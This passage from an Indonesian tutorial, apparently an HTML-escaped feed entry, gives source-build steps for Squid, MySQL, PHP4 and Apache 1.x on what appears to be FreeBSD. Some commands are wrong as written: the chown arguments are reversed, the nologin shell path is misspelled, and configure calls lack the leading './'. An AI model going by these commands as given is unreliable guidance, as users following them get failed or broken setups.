bagian version number, jika ada, sebaiknya dihilangkan, mis.: mv  apache-1.1.23pl8  apache&lt;br /&gt;
&lt;br /&gt;
4.1. Squid&lt;br /&gt;
/configure --enable-ipf-transparent \&lt;br /&gt;
&lt;br /&gt;
#parameter lain yang perlu:&lt;br /&gt;
--prefix=/usr/local \&lt;br /&gt;
--bindir=\${prefix}/sbin \ &lt;br /&gt;
--libexecdir=\${prefix}/libexec \&lt;br /&gt;
--sysconfdir=\${prefix}/etc/squid \&lt;br /&gt;
&lt;br /&gt;
#parameter lain yang mungkin perlu:&lt;br /&gt;
--enable-storeio=&amp;quot;ufs diskd null&amp;quot; \&lt;br /&gt;
--enable-removal-policies=&amp;quot;lru heap&amp;quot; \&lt;br /&gt;
&lt;br /&gt;
#parameter tambahan:&lt;br /&gt;
--localstatedir=\${prefix}/squid \&lt;br /&gt;
--host=i686 \&lt;br /&gt;
--disable-ident-lookups \&lt;br /&gt;
--disable-wccp \&lt;br /&gt;
--enable-kill-parent-hack \&lt;br /&gt;
--enable-time-hack \&lt;br /&gt;
--with-pthreads &lt;br /&gt;
&lt;br /&gt;
make all; make install&lt;br /&gt;
&lt;br /&gt;
Dengan parameter diatas kita akan memperoleh konfigurasi squid yang mirip seperti jika kita menginstalnya melalui package.&lt;br /&gt;
Kemudian file logs dan cache di direktori /usr/local/etc/squid di chown nobody:nogroup (atau sesuai dengan usernya jika telah dibuat user untuk squid, seperti user mysql dibawah).&lt;br /&gt;
Setelah itu kita buat intial cache directory dengan menjalankan: squid -z. Default cache size adalah 100MB.&lt;br /&gt;
&lt;br /&gt;
==Konfigurasi MySQL, PHP dan Apache==&lt;br /&gt;
&lt;br /&gt;
==MySQL==&lt;br /&gt;
&lt;br /&gt;
 /configure \&lt;br /&gt;
  --localstatedir=/var/db/mysql \&lt;br /&gt;
  --with-unix-socket-path=/var/run/mysql.sock \&lt;br /&gt;
  --host=i686 \&lt;br /&gt;
  --enable-assembler \&lt;br /&gt;
  --with-libwrap \&lt;br /&gt;
  --with-berkeley-db \&lt;br /&gt;
  --with-named-z-lib \&lt;br /&gt;
  --with-mysqld-ldflags=-all-static \&lt;br /&gt;
  --with-client-ldflags=-all-static \&lt;br /&gt;
  --without-debug \&lt;br /&gt;
  --without-bench \&lt;br /&gt;
  --without-docs \&lt;br /&gt;
  --without-readline&lt;br /&gt;
 &lt;br /&gt;
 make; make install&lt;br /&gt;
&lt;br /&gt;
Tambahkan user mysql dengan ID misalkan = 3036&lt;br /&gt;
&lt;br /&gt;
 pw add group mysql -g 3036&lt;br /&gt;
 pw add user mysql -u mysql -g mysql -wno -s /sbin/nologint -d /var/db/mysql -c &amp;quot;MySQL&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Direktori localstatedir (/var/db/mysql) diatas, *harus* read/write by user mysql:&lt;br /&gt;
chown -R /var/db/mysql mysql:mysql&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==PHP==&lt;br /&gt;
Sebelumnya kita harus cd ke source apache dulu: cd /usr/local/src/apache, lalu jalankan  ./configure (plain).&lt;br /&gt;
&lt;br /&gt;
Kemudian baru cd ke source php: cd /usr/local/src/php dan mengkonfigurasi php sesuai preferensi kita.&lt;br /&gt;
&lt;br /&gt;
 /configure \&lt;br /&gt;
  --build=i686 \&lt;br /&gt;
  --prefix=/usr/local \&lt;br /&gt;
  --with-mysql=/usr/local \&lt;br /&gt;
  --with-apache=../apache \&lt;br /&gt;
  --with-pcre-regex=/usr/local \&lt;br /&gt;
  --with-mcrypt \&lt;br /&gt;
  --with-zlib \&lt;br /&gt;
  --with-ftp \&lt;br /&gt;
  --enable-track-vars \&lt;br /&gt;
  --enable-ctype &lt;br /&gt;
&lt;br /&gt;
 make; make install &lt;br /&gt;
&lt;br /&gt;
==Apache==&lt;br /&gt;
&lt;br /&gt;
 /configure \&lt;br /&gt;
  --enable-module=most \&lt;br /&gt;
  --enable-shared=max \&lt;br /&gt;
  --server-uid=www \&lt;br /&gt;
  --server-gid=www \&lt;br /&gt;
  --activate-module=src/modules/php4/libphp4.a &lt;br /&gt;
&lt;br /&gt;
 make; make install &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Penutup==&lt;br /&gt;
&lt;br /&gt;
Sesuai dengan tujuan utama tulisan ini, beberapa sub-sistem mungkin hanya sedikit atau sama sekali tidak dibahas, bagian-bagian tersebut dianggap sesuai dengan instalasi default.&lt;br /&gt;
Terakhir, penulis dengan senang hati akan menerima kritik dan saran dari pembaca semua, semoga ada manfaatnya.&lt;br /&gt;
&lt;br /&gt;
 aa, aa.delphi@yahoo.com&lt;br /&gt;
&lt;br /&gt;
URL: http://opensource.telkomspeedy.com/forum/viewtopic.php?pid=22122&lt;/div&gt;</summary>
		<author><name>Aa</name></author>
	</entry>
</feed>